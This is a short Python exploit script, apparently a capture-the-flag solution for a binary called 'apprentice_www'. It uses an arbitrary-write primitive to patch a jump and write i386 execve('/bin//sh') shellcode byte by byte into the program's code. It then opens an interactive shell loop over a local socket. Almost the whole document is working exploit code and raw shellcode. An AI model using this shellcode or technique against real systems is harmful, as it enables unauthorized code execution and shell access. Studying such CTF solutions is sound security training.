# run the bin with:
# socat TCP-LISTEN:8888,reuseaddr,fork EXEC:'strace -i -f -v ./apprentice_www_9cc7495fae4a9b23db4c7595865af973'

import socket

s = socket.create_connection(('localhost', 8888))

s.send(str(0x080485da) + '\n')
s.send(str(0xc2) + '\n')

sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" 
addr = 0x080485db  # right after the jump

for i, c in enumerate(sc):
    s.send(str(addr+i) + '\n')
    s.send(str(ord(c)) + '\n')

# random (writeable) address, no one cares.
s.send(str(0x08048501) + '\n')
s.send('00\n')

while True:
    s.send(raw_input('> ') + '\n')
    print(s.recv(1024))

